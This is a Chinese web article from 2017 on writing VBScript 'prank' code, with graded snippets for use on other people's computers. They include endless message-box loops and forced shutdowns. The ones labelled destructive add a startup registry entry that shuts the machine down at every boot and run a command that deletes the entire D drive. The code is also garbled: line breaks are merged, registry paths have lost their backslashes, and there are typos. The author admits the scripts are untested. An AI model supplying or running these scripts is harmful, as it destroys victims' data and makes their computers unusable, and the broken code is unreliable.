怎么制作vbs整人代码 vbs整人代码制作方法一览

发布时间:2017/05/29 15:18:15来源:

最近勒索病毒火爆一时,人们谈毒色变,让病毒这一网络安全问题重新使人重视起来,下面小编就为大家带来vbs整人代码制作方法一览。

怎么制作vbs整人代码

1、首先,打开记事本

2、输入代码(整人级):

  01'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈,你关不掉我!")loop'--------------------------------------------------------------------------------'-----------------------------------2-输入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里输入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------

  3、(中等):

  01'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图标------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCRexefileDefaultIcon","C:WindowsSystem32imageres.dll,-2" '这里的C:WindowsSystem32imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------

4、(破坏级)如果无法恢复,不要怪我咯*_*:

  01'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:",0,ture'--------------------------------------------------------------------------------

  如果代码有问题,无法实现应有效果,请原谅。(一些vbs破坏性太强,我不敢实验)

  5、保存:按下Ctrl+S快捷键,在弹出的窗口中选择文件类型:所有文件(*.*),在文件名处输入文件名,在文件名后面输入“.vbs”或“.vbe”,保存。

注意事项:

这些代码仅用于整人,不可以利用这些代码做违法的事情!